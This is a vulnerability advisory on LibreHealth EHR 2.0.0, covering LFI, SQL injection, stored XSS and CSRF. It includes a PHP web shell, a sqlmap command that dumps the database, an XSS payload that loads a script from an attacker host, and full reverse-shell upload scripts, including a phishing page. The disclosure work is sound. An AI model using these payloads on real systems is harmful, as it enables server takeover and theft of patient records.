ADVISORY SUMMARY
The following document describes identified vulnerabilities in the LibreHealth application version 2.0.0. Five high-risk issues were discovered that could be exploited to compromise the application server and sensitive health care records within the application.
Impact
The discovered high-risk vulnerabilities would allow an unauthenticated malicious actor or low-privileged application user to compromise the application's underlying server and the data contained within the application. Because of the nature of the application, that data includes highly sensitive medical records and personally identifiable information (PII). The vulnerabilities consisted of a local file inclusion that could be leveraged to compromise the underlying application server, an SQL injection issue that resulted in sensitive data disclosure, an XSS issue that would allow attackers to force actions on other user's behalf, and a CSRF issue that would allow an attacker to perform any of the mentioned attacks from the context of an unauthenticated attacker via a phishing page. The LibreHealth application was also affected by previously discovered high-risk CVEs from its fork of a legacy OpenEMR codebase, which resulted in application server compromise.
High Risk Level
Affected Vendor
Product Vendor |
Product Name |
Affected Version |
LibreHealth | LibreHealth EHR | 2.0.0 |
Product Description
LibreHealth EHR is an electronic health records software solution that allows medical professionals to track health records of patients. The project’s official website is https://librehealth.io/. The latest version of the application is 2.0.0, released September 2017.
Vulnerabilities List
Five high-risk vulnerabilities were identified within the LibreHealth EHR v2.0.0 application:
LOCAL FILE INCLUSION (LFI)
SQL INJECTION
VULNERABLE SOFTWARE
CROSS-SITE SCRIPTING (XSS)
CROSS-SITE REQUEST FORGERY (CSRF)
Solution
Although no official patched release is available at the time of writing, fixes are in progress and some are available as [unmerged pull requests on GitHub] https://github.com/LibreHealthIO/lh-ehr/pulls
These vulnerabilities are described in the following sections.
VULNERABILITIES
LOCAL FILE INCLUSION (LFI)
The LibreHealth EHR application was affected local file inclusion (LFI). This vulnerability allowed the execution of arbitrary PHP files within the application’s web root. The vulnerabilities could be exploited from the context of any authenticated user and would execute PHP code that existed within the application's web root.
CVE ID |
Security Risk |
Impact |
Access Vector |
CVE-2020-11439 | High | Code execution | Remote |
A local file inclusion (LFI) vulnerability is present in the url
parameter of the librehealthehr/interface/main/tabs/main.php
endpoint. This vulnerability allows the execution of arbitrary PHP files within the LibreHealth EHR application’s web root. The vulnerabilities could be exploited from the context of any authenticated user.
To demonstrate this LFI vulnerability, a PHP web shell was uploaded using a known insecure file upload vulnerability: CVE-2018-1000649. The contents of the uploaded file webshell.php
are shown below:
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
Figure 1 - Uploaded PHP code
Next, the path to the webshell.php
file was included in the vulnerable url
parameter. The id
shell command was passed through the uploaded file’s cmd
parameter, as shown below:
http://libre.test.mg.gy/librehealthehr/interface/main/tabs/main.php?url=../../sites/default/letter_templates/webshell.php?cmd=id
Figure 2 - LFI request
The uploaded file was loaded within the main.php
endpoint and executed, as shown below:
The LFI could be exploited by any authenticated user to execute any PHP code contained within the application web root.
SQL INJECTION
The SQL injection vulnerabilities allowed attacker-controlled SQL queries to be performed that compromised the LibreHealth application's sensitive database contents (including medical records and user information. These vulnerabilities could be exploited by low-privileged authenticated users.
CVE ID |
Security Risk |
Impact |
Access Vector |
CVE-2020-11437 | High | Information disclosure | Remote |
The letter.php
endpoint was vulnerable to SQL injection in the form_from
and form_to
POST parameters. The root cause was found to be unsafe SQL string building in the interface/patient_file/letter.php
source code, as shown below:
104. $frow = sqlQuery("SELECT * FROM users WHERE id = '$form_from'");
105. $trow = sqlQuery("SELECT * FROM users WHERE id = '$form_to'");
Figure 4 - Code vulnerable to SQL injection
Users can change the $form_from
and $form_to
parameters. After authenticating to the application with a user in the low-privilegedFront Desk
group, the following request was sent to verify the SQLi:
POST /librehealthehr/interface/patient_file/letter.php HTTP/1.1
Host: libre.test.mg.gy
…omitted for brevity…
formaction=generate&form_pid=158172491&form_from= <mark>7'+AND+(select+sleep(12))+#+</mark>'&form_date=2020-02-15&form_specialty=All&form_template=autosaved&form_to=4&form_format=html&form_body=%7BFROM_TITLE%7D%7BFROM_MNAME%7D&newtemplatename=
Figure 5 - Request with SQL injection payload
The application’s response was delayed by 12 seconds, indicating the SQLi was successful. To further exploit this SQLi vulnerability, the automated SQL injection tool sqlmap was used. The following command, sql.txt
, contains the POST request from above:
sqlmap -l sql.txt --dbms=mysql -p form_from --dump
Figure 6 - Command to extract database contents
The tool successfully extracted the contents of the application database, as shown below:
The SQL injection was exploited to retrieve the complete contents of the MySQL application database, which included medical records and user information.
VULNERABLE SOFTWARE
The LibreHealth EHR application was affected by vulnerable software because it is a form of an older OpenEMR version code base that contained known, un-remediated vulnerabilities. These vulnerabilities included multiple high-risk issues including PHP code injection, command injection, file path traversal, and XSS.
CVE ID |
Security Risk |
Impact |
Access Vector |
N/A | High | Code execution | Other |
The LibreHealth EHR application is affected by known vulnerabilities affecting an outdated OpenEMR codebase, as well as unremediated issues in the LibreHealth EHR codebase. These vulnerabilities included multiple high-risk issues including PHP code injection, command injection, file path traversal, and XSS. This finding describes a subset of known vulnerabilities that were found to be present in the codebase, but it may not represent a comprehensive list of all outstanding vulnerabilities.
LibreHealth EHR used forked code from the OpenEMR project that was affected by the following known issues:
CVE ID |
Vulnerability |
Original Blog Post |
CVE-2019-3963 through |
Cross-site Scripting |
|
CVE-2019-3967 |
Directory Traversal and Arbitrary File Download |
|
CVE-2019-3968 |
Command Injection |
|
CVE-2019-8371 |
PHP Injection (RCE) |
https://know.bishopfox.com/advisories/openemr-5-0-16-remote-code-execution-cross-site-scripting |
Figure 8 - Table of issues affecting the OpenEMR project that also affect LibreHealth EHR
The above issues were verified to affect LibreHealth EHR, and their exploitation was identical to the OpenEMR advisories highlighted above. In addition to the vulnerabilities inherited from OpenEMR, LibreHealth EHR was affected by known issues that were publicly released in 2018, shown in the table below:
CVE ID |
Vulnerability |
Original Blog Post |
CVE-2018-1000648 |
Authenticated Unrestricted File Write |
https://0dd.zone/2018/08/07/lh-ehr-Authenticated-File-Write-Letter-PHP/ |
CVE-2018-1000649 |
Authenticated Unrestricted File Write (aka Insecure File Upload) |
https://0dd.zone/2018/08/07/lh-ehr-Authenticated-File-Write-Letter-PHP-2/ |
CVE-2018-1000647 |
Unrestricted File Deletion |
https://0dd.zone/2018/08/07/lh-ehr-Authenticated-File-Deletion/ |
CVE-2018-1000646 |
Authenticated Unrestricted File Write |
https://0dd.zone/2018/08/07/lh-ehr-Authenticated-File-Write/ |
Figure 9 - Table of previously disclosed issues affecting LibreHealth EHR
The previously disclosed issues from 2018 and the previous disclosed issues from the OpenEMR codebase still exist within the LibreHealth EHR application.
CROSS-SITE SCRIPTING (XSS) >
The LibreHealth EHR application was affected by one instance of XSS. This XSS vulnerability was stored in the application and exploitable from the context of a low-privileged user. A proof-of-concept XSS payload caused server-side code execution when a user navigated to the affected endpoint.
CVE ID |
Security Risk |
Impact |
Access Vector |
CVE-2020-11436 | High | Code execution, Escalation of privileges | Remote |
The note
parameter of the /librehealthehr/controller.php
endpoint is vulnerable to stored XSS and exploitable from the context of a low-privileged user. A proof-of-concept XSS payload was created to demonstrate server-side code execution when a user navigated to the affected endpoint.
While authenticated to the LibreHealth EHR application as a low-privileged Front Desk
user, a note was created within the New Documents section of the application containing the following XSS payload:
<img src=x onerror=jQuery.getScript('http://evil.support/e.js')>
In the payload above, the e.js
file is a JavaScript file that sends two requests: the first uploads a PHP reverse shell, and the second executes it. These requests exploited the known insecure upload vulnerability (CVE-2018-1000649) and the Local File Inclusion vulnerability described above. A POST request was sent that stored the XSS payload in the note, as shown below:
POST /librehealthehr/controller.php?document¬e&patient_id=00& HTTP/1.1 Host: libre.test.mg.gy …omitted for brevity… provide_email=&identifier=no¬e<mark>=%3Cimg+src%3Dx+onerror%3DjQuery.getScript%28%27http%3A%2F%2Fevil.support%2Fe.js%27%29%3E</mark>&process=true&foreign_id=1868
Figure 10 - Request to set XSS
Once the payload was sent, it would execute and load the external e.js
JavaScript file whenever any authenticated user viewed the notes on the affected document. The XSS payload execution is shown below:
The reverse shell connected back to the attacking server. In this case, localhost
was used for testing:
Code execution was demonstrated to show the high-risk nature of XSS and how it can be chained with other vulnerabilities. An attacker could force any client-side action on behalf of authenticated users, so this issue could also be leveraged for privilege escalation within the application. The contents of the entire external JavaScript payload (e.js
) are shown below:
// XSS Payload LibreHealth v2.0.0
// XSS -> Insecure File upload -> Path Traversal === RCE
// Author: Malaphar
(async () => {
// Defined Path, Filename and PHP Code (shell) - Shell is Msfvenom generated PHP reverse shell, base64 encoded
let shell = "<?php eval(base64_decode('ICAgIC8qPD9waHAgLyoqLwogICAgICBAZXJyb3JfcmVwb3J0aW5nKDApOwogICAgICBAc2V0X3RpbWVfbGltaXQoMCk7IEBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CiAgICAgICRkaXM9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiAgICAgIGlmKCFlbXB0eSgkZGlzKSl7CiAgICAgICAgJGRpcz1wcmVnX3JlcGxhY2UoJy9bLCBdKy8nLCAnLCcsICRkaXMpOwogICAgICAgICRkaXM9ZXhwbG9kZSgnLCcsICRkaXMpOwogICAgICAgICRkaXM9YXJyYXlfbWFwKCd0cmltJywgJGRpcyk7CiAgICAgIH1lbHNlewogICAgICAgICRkaXM9YXJyYXkoKTsKICAgICAgfQogICAgICAKICAgICRpcGFkZHI9J2xvY2FsaG9zdCc7CiAgICAkcG9ydD00NDQ3OwoKICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ0p0SWRKSCcpKXsKICAgICAgZnVuY3Rpb24gSnRJZEpIKCRjKXsKICAgICAgICBnbG9iYWwgJGRpczsKICAgICAgICAKICAgICAgaWYgKEZBTFNFICE9PSBzdHJwb3Moc3RydG9sb3dlcihQSFBfT1MpLCAnd2luJyApKSB7CiAgICAgICAgJGM9JGMuIiAyPiYxXG4iOwogICAgICB9CiAgICAgICRZWkJkPSdpc19jYWxsYWJsZSc7CiAgICAgICRxSXRVTmFJPSdpbl9hcnJheSc7CiAgICAgIAogICAgICBpZigkWVpCZCgncHJvY19vcGVuJylhbmQhJHFJdFVOYUkoJ3Byb2Nfb3BlbicsJGRpcykpewogICAgICAgICRoYW5kbGU9cHJvY19vcGVuKCRjLGFycmF5KGFycmF5KCdwaXBlJywncicpLGFycmF5KCdwaXBlJywndycpLGFycmF5KCdwaXBlJywndycpKSwkcGlwZXMpOwogICAgICAgICRvPU5VTEw7CiAgICAgICAgd2hpbGUoIWZlb2YoJHBpcGVzWzFdKSl7CiAgICAgICAgICAkby49ZnJlYWQoJHBpcGVzWzFdLDEwMjQpOwogICAgICAgIH0KICAgICAgICBAcHJvY19jbG9zZSgkaGFuZGxlKTsKICAgICAgfWVsc2UKICAgICAgaWYoJFlaQmQoJ2V4ZWMnKWFuZCEkcUl0VU5hSSgnZXhlYycsJGRpcykpewogICAgICAgICRvPWFycmF5KCk7CiAgICAgICAgZXhlYygkYywkbyk7CiAgICAgICAgJG89am9pbihjaHIoMTApLCRvKS5jaHIoMTApOwogICAgICB9ZWxzZQogICAgICBpZigkWVpCZCgnc3lzdGVtJylhbmQhJHFJdFVOYUkoJ3N5c3RlbScsJGRpcykpewogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgc3lzdGVtKCRjKTsKICAgICAgICAkbz1vYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9lbmRfY2xlYW4oKTsKICAgICAgfWVsc2UKICAgICAgaWYoJFlaQmQoJ3NoZWxsX2V4ZWMnKWFuZCEkcUl0VU5hSSgnc2hlbGxfZXhlYycsJGRpcykpewogICAgICAgICRvPXNoZWxsX2V4ZWMoJGMpOwogICAgICB9ZWxzZQogICAgICBpZigkWVpCZCgncGFzc3RocnUnKWFuZCEkcUl0VU5hSSgncGFzc3RocnUnLCRkaXMpKXsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIHBhc3N0aHJ1KCRjKTsKICAgICAgICAkbz1vYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9lbmRfY2xlYW4oKTsKICAgICAgfWVsc2UKICAgICAgaWYoJFlaQmQoJ3BvcGVuJylhbmQhJHFJdFVOYUkoJ3BvcGVuJywkZGlzKSl7CiAgICAgICAgJGZwPXBvcGVuKCRjLCdyJyk7CiAgICAgICAgJG89TlVMTDsKICAgICAgICBpZihpc19yZXNvdXJjZSgkZnApKXsKICAgICAgICAgIHdoaWxlKCFmZW9mKCRmcCkpewogICAgICAgICAgICAkby49ZnJlYWQoJGZwLDEwMjQpOwogICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBAcGNsb3NlKCRmcCk7CiAgICAgIH1lbHNlCiAgICAgIHsKICAgICAgICAkbz0wOwogICAgICB9CiAgICAKICAgICAgICByZXR1cm4gJG87CiAgICAgIH0KICAgIH0KICAgICRub2Z1bmNzPSdubyBleGVjIGZ1bmN0aW9ucyc7CiAgICBpZihpc19jYWxsYWJsZSgnZnNvY2tvcGVuJylhbmQhaW5fYXJyYXkoJ2Zzb2Nrb3BlbicsJGRpcykpewogICAgICAkcz1AZnNvY2tvcGVuKCJ0Y3A6Ly9sb2NhbGhvc3QiLCRwb3J0KTsKICAgICAgd2hpbGUoJGM9ZnJlYWQoJHMsMjA0OCkpewogICAgICAgICRvdXQgPSAnJzsKICAgICAgICBpZihzdWJzdHIoJGMsMCwzKSA9
PSAnY2QgJyl7CiAgICAgICAgICBjaGRpcihzdWJzdHIoJGMsMywtMSkpOwogICAgICAgIH0gZWxzZSBpZiAoc3Vic3RyKCRjLDAsNCkgPT0gJ3F1aXQnIHx8IHN1YnN0cigkYywwLDQpID09ICdleGl0JykgewogICAgICAgICAgYnJlYWs7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAkb3V0PUp0SWRKSChzdWJzdHIoJGMsMCwtMSkpOwogICAgICAgICAgaWYoJG91dD09PWZhbHNlKXsKICAgICAgICAgICAgZndyaXRlKCRzLCRub2Z1bmNzKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZ3cml0ZSgkcywkb3V0KTsKICAgICAgfQogICAgICBmY2xvc2UoJHMpOwogICAgfWVsc2V7CiAgICAgICRzPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7CiAgICAgIEBzb2NrZXRfY29ubmVjdCgkcywkaXBhZGRyLCRwb3J0KTsKICAgICAgQHNvY2tldF93cml0ZSgkcywic29ja2V0X2NyZWF0ZSIpOwogICAgICB3aGlsZSgkYz1Ac29ja2V0X3JlYWQoJHMsMjA0OCkpewogICAgICAgICRvdXQgPSAnJzsKICAgICAgICBpZihzdWJzdHIoJGMsMCwzKSA9PSAnY2QgJyl7CiAgICAgICAgICBjaGRpcihzdWJzdHIoJGMsMywtMSkpOwogICAgICAgIH0gZWxzZSBpZiAoc3Vic3RyKCRjLDAsNCkgPT0gJ3F1aXQnIHx8IHN1YnN0cigkYywwLDQpID09ICdleGl0JykgewogICAgICAgICAgYnJlYWs7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAkb3V0PUp0SWRKSChzdWJzdHIoJGMsMCwtMSkpOwogICAgICAgICAgaWYoJG91dD09PWZhbHNlKXsKICAgICAgICAgICAgQHNvY2tldF93cml0ZSgkcywkbm9mdW5jcyk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBAc29ja2V0X3dyaXRlKCRzLCRvdXQsc3RybGVuKCRvdXQpKTsKICAgICAgfQogICAgICBAc29ja2V0X2Nsb3NlKCRzKTsKICAgIH0K')); ?>"
let fileName = 'probablyanevilfile22.php'
let webRootPath = '../../../'
let evilUp = webRootPath + fileName
// Uploads PHP shell
console.log(`[*] Uploading PHP Shell to ${evilUp}...`)
let fetchUp = await fetch('/librehealthehr/interface/patient_file/letter.php', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'formaction=savetemplate&form_pid=1337&form_from=10&form_date=2020-02-16&form_specialty=All&form_template=' + evilUp + '&form_to=4&form_format=html&form_body=' + shell + '&newtemplatename=',
});
if (fetchUp.ok) {
console.log('[*] PHP Uploaded at ' + window.location.origin + `/librehealthehr/${fileName}`);
} else {
console.error('[!] File Failed to Upload... ')
return
}
// Calls uploaded PHP for execution
console.log('[*] Requesting PHP File for Execution...')
let fetchPHP = await fetch('/librehealthehr/' + fileName, {
credentials: 'include'
});
if (fetchPHP.ok) {
console.log('[*] File Uploaded and Called, Got Shell?')
} else {
console.error('[!] Calling PHP Failed...')
return
}
})();
Figure 13 -XSS payload source code
CROSS-SITE REQUEST FORGERY (CSRF)
The LibreHealth EHR application was affected by systemic CSRF. This CSRF vulnerability allowed any POST request in the application to be sent from arbitrary origins. This would allow a phishing application to send requests on behalf of authenticated LibreHealth users. The CSRF was chained with the known insecure file upload issue to show how an unauthenticated remote attacker could gain server-side remote code execution (RCE) through this vulnerability.
CVE ID |
Security Risk |
Impact |
Access Vector |
CVE-2020-11438 | High | Code execution, Escalation of privileges | Remote |
The LibreHealth EHR application is affected by systemic CSRF, which accepts POST requests sent from arbitrary origins. The CSRF vulnerability was chained with a known insecure file upload issue (CVE-2018-1000649) to show how an unauthenticated remote attacker could gain server-side remote code execution (RCE) through this vulnerability.
To demonstrate the CSRF vulnerability, a phishing page was created that would send two requests on behalf of an authenticated LibreHealth EHR user who viewed it. The first request uploaded a PHP reverse shell, as shown below:
POST /librehealthehr/interface/patient_file/letter.php
HTTP/1.1
Host: libre.test.mg.gy
…omitted for brevity…
Content-Type: application/x-www-form-urlencoded
<mark>Origin: null</mark>
Cookie: TreeMenuBranchStatus=objTreeMenu_1_node_1_1:objTreeMenu_1_node_1_7:objTreeMenu_1_node_1_8:objTreeMenu_1_node_1_7_1; LibreHealthEHR=qfscakukd97ra7rfmq2umnhjn3
formaction=savetemplate&form_pid=1337&form_from=10&form_date=2020-02-16&form_specialty=All&form_template<mark>=../../../evilfromCSRF.php</mark>&form_to=4&form_format=html&form_body=<strong><?php eval(base64_decode('ICAgIC8qPD9waHAgLyoqLwogICAgICBAZXJyb3JfcmVwb3J0aW5nKDApOwogICAgIC …omitted for brevity… IH0K')); ?>&</strong>newtemplatename=
Figure 14 - Request made from CSRF phishing page
The second request called the uploaded PHP reverse shell to execute it, shown below:
GET /librehealthehr/evilfromCSRF.php HTTP/1.1
Host: libre.test.mg.gy
Origin: null
…omitted for brevity…
Figure 15 - Second request made from CSRF phishing page
The HTML phishing page was tested on the local filesystem, hence the null origin in the figure above.
The result of these two requests made from the CSRF phishing page was a PHP reverse shell connection, which is demonstrated in the cross-site scripting finding of this advisory. The complete HTML and JavaScript code used for the proof-of-concept phishing page shown below:
<!DOCTYPE html>
<html>
<head>
<title>Phishing</title>
</head>
<body>
<script>
(async () => {
// Defined Path, Filename and PHP Code (shell)
// Just a modified version of the XSS payload adapted to CSRF
let shell = "<?php eval(base64_decode('ICAgIC8qPD9waHAgLyoqLwogICAgICBAZXJyb3JfcmVwb3J0aW5nKDApOwogICAgICBAc2V0X3RpbWVfbGltaXQoMCk7IEBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CiAgICAgICRkaXM9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiAgICAgIGlmKCFlbXB0eSgkZGlzKSl7CiAgICAgICAgJGRpcz1wcmVnX3JlcGxhY2UoJy9bLCBdKy8nLCAnLCcsICRkaXMpOwogICAgICAgICRkaXM9ZXhwbG9kZSgnLCcsICRkaXMpOwogICAgICAgICRkaXM9YXJyYXlfbWFwKCd0cmltJywgJGRpcyk7CiAgICAgIH1lbHNlewogICAgICAgICRkaXM9YXJyYXkoKTsKICAgICAgfQogICAgICAKICAgICRpcGFkZHI9J2xvY2FsaG9zdCc7CiAgICAkcG9ydD00NDQ3OwoKICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ0p0SWRKSCcpKXsKICAgICAgZnVuY3Rpb24gSnRJZEpIKCRjKXsKICAgICAgICBnbG9iYWwgJGRpczsKICAgICAgICAKICAgICAgaWYgKEZBTFNFICE9PSBzdHJwb3Moc3RydG9sb3dlcihQSFBfT1MpLCAnd2luJyApKSB7CiAgICAgICAgJGM9JGMuIiAyPiYxXG4iOwogICAgICB9CiAgICAgICRZWkJkPSdpc19jYWxsYWJsZSc7CiAgICAgICRxSXRVTmFJPSdpbl9hcnJheSc7CiAgICAgIAogICAgICBpZigkWVpCZCgncHJvY19vcGVuJylhbmQhJHFJdFVOYUkoJ3Byb2Nfb3BlbicsJGRpcykpewogICAgICAgICRoYW5kbGU9cHJvY19vcGVuKCRjLGFycmF5KGFycmF5KCdwaXBlJywncicpLGFycmF5KCdwaXBlJywndycpLGFycmF5KCdwaXBlJywndycpKSwkcGlwZXMpOwogICAgICAgICRvPU5VTEw7CiAgICAgICAgd2hpbGUoIWZlb2YoJHBpcGVzWzFdKSl7CiAgICAgICAgICAkby49ZnJlYWQoJHBpcGVzWzFdLDEwMjQpOwogICAgICAgIH0KICAgICAgICBAcHJvY19jbG9zZSgkaGFuZGxlKTsKICAgICAgfWVsc2UKICAgICAgaWYoJFlaQmQoJ2V4ZWMnKWFuZCEkcUl0VU5hSSgnZXhlYycsJGRpcykpewogICAgICAgICRvPWFycmF5KCk7CiAgICAgICAgZXhlYygkYywkbyk7CiAgICAgICAgJG89am9pbihjaHIoMTApLCRvKS5jaHIoMTApOwogICAgICB9ZWxzZQogICAgICBpZigkWVpCZCgnc3lzdGVtJylhbmQhJHFJdFVOYUkoJ3N5c3RlbScsJGRpcykpewogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgc3lzdGVtKCRjKTsKICAgICAgICAkbz1vYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9lbmRfY2xlYW4oKTsKICAgICAgfWVsc2UKICAgICAgaWYoJFlaQmQoJ3NoZWxsX2V4ZWMnKWFuZCEkcUl0VU5hSSgnc2hlbGxfZXhlYycsJGRpcykpewogICAgICAgICRvPXNoZWxsX2V4ZWMoJGMpOwogICAgICB9ZWxzZQogICAgICBpZigkWVpCZCgncGFzc3RocnUnKWFuZCEkcUl0VU5hSSgncGFzc3RocnUnLCRkaXMpKXsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIHBhc3N0aHJ1KCRjKTsKICAgICAgICAkbz1vYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9lbmRfY2xlYW4oKTsKICAgICAgfWVsc2UKICAgICAgaWYoJFlaQmQoJ3BvcGVuJylhbmQhJHFJdFVOYUkoJ3BvcGVuJywkZGlzKSl7CiAgICAgICAgJGZwPXBvcGVuKCRjLCdyJyk7CiAgICAgICAgJG89TlVMTDsKICAgICAgICBpZihpc19yZXNvdXJjZSgkZnApKXsKICAgICAgICAgIHdoaWxlKCFmZW9mKCRmcCkpewogICAgICAgICAgICAkby49ZnJlYWQoJGZwLDEwMjQpOwogICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBAcGNsb3NlKCRmcCk7CiAgICAgIH1lbHNlCiAgICAgIHsKICAgICAgICAkbz0wOwogICAgICB9CiAgICAKICAgICAgICByZXR1cm4gJG87CiAgICAgIH0KICAgIH0KICAgICRub2Z1bmNzPSdubyBleGVjIGZ1bmN0aW9ucyc7CiAgICBpZihpc19jYWxsYWJsZSgnZnNvY2tvcGVuJylhbmQhaW5fYXJyYXkoJ2Zzb2Nrb3BlbicsJGRpcykpewogICAgICAkcz1AZnNvY2tvcGVuKCJ0Y3A6Ly9sb2NhbGhvc3QiLCRwb3J0KTsKICAgICAgd2hpbGUoJGM9ZnJlYWQoJHMsMjA0OCkpewogICAgICAgICRvdXQgPSAnJzsKICAgICAgICBpZihzdWJzdHIoJGMsMCwzKSA9PSAnY2QgJyl7CiAgICAgICAgICBjaGRpcihzdWJzdHIoJGMsMywtMSkpOwogICAgICAgIH0gZWxzZSBpZiAoc3Vic3RyKCRjLDAsNCkgPT0gJ3F1aXQnIHx8IHN1YnN0cigkYywwLDQpID09ICdleGl0JykgewogICAgICAgICAgYnJlYWs7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAkb3V0PUp0SWRKSChzdWJzdHIoJGMsMCwtMSkpOwogICAgICAgICAgaWYoJG91dD09PWZhbHNlKXsKICAgICAgICAgICAgZndyaXRlKCRzLCRub2Z1bmNzKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZ3cml0ZSgkcywkb3V0KTsKICAgICAgfQogICAgICBmY2xvc2UoJHMpOwogICAgfWVsc2V7CiAgICAgICRzPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7CiAgICAgIEBzb2NrZXRfY29ubmVjdCgkcywkaXBhZGRyLCRwb3J0KTsKICAgICAgQHNvY2tldF93cml0ZSgkcywic29ja2V0X2NyZWF0ZSIpOwogICAgICB3aGlsZSgkYz1Ac29ja2V0X3JlYWQoJHMsMjA0OCkpewogICAgICAgICRvdXQgPSAnJzsKICAgICAgICBpZihzdWJzdHIoJGMsMCwzKSA9PSAnY2QgJyl7CiAgICAgICAgICBjaGRpcihzdWJzdHIoJGMsMywtMSkpOwogICAgICAgIH0gZWxzZSBpZiAoc3Vic3RyKCRjLDAsNCkgPT0gJ3F1aXQnIHx8IHN1YnN0cigkYywwLDQpID09ICdleGl0JykgewogICAgICAgICAgYnJlYWs7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAkb3V0PUp0SWRKSChzdWJzdHIoJGMsMCwtMSkpOwogICAgICAgICAgaWYoJG91dD09PWZhbHNlKXsKICAgICAgICAgICAgQHNvY2tldF93cml0ZSgkcywkbm9mdW5jcyk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBAc29ja2V0X3dyaXRlKCRzLCRvdXQsc3RybGVuKCRvdXQpKTsKICAgICAgfQogICAgICBAc29ja2V0X2Nsb3NlKCRzKTsKICAgIH0K')); ?>"
let fileName = 'evilfromCSRF.php'
let webRootPath = '../../../'
let evilUp = webRootPath + fileName
// Uploads PHP shell
console.log(`[*] Uploading PHP Shell to ${evilUp}...`)
let fetchUp = fetch('http://libre.test.mg.gy/librehealthehr/interface/patient_file/letter.php', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'formaction=savetemplate&form_pid=1337&form_from=10&form_date=2020-02-16&form_specialty=All&form_template=' + evilUp + '&form_to=4&form_format=html&form_body=' + shell + '&newtemplatename=',
});
// Calls PHP - Potential race condition with the requests. However, testing went well so not bothering to do an await or settimeout
console.log('[*] Requesting PHP File for Execution...')
let fetchPHP = fetch('http://libre.test.mg.gy/librehealthehr/' + fileName, {
credentials: 'include'
});
})();
</script>
</body>
</html>
Figure 16 - CSRF phishing page source code
The LibreHealth EHR application was systemically vulnerable to CSRF, so any POST action could be exploited through this vulnerability except for the functionality to create or modify users; those features required an administrative user password to be included in the request.
CREDITS
Chris Davis, Security Consultant, Bishop Fox ([email protected])
Jake Yamaki, Senior Security Consultant, Bishop Fox ([email protected])
TIMELINE
- Initial Discovery: 02/26/2020
- Contact With Vendor: 03/12/2020
- Vendor Acknowledged Vulnerabilities: 03/16/2020
-
Bishop Fox Offered 30 Day Extension from 90 Day Policy due to Covid-19: 03/19/2020
-
Vendor Accepted Extension: 03/19/2020
-
Bishop Fox Contacted Vendor: 06/22/2020
-
Vendor Response - Fixes Ongoing: 06/26/2020
-
Bishop Fox Contacted Vendor: 07/09/2020
-
Vendor Shared In-progress Patches - Agreed on Disclosure Date: 07/14/2020
- Vulnerabilities Publicly Disclosed: 07/14/2020
Subscribe to Bishop Fox's Security Blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.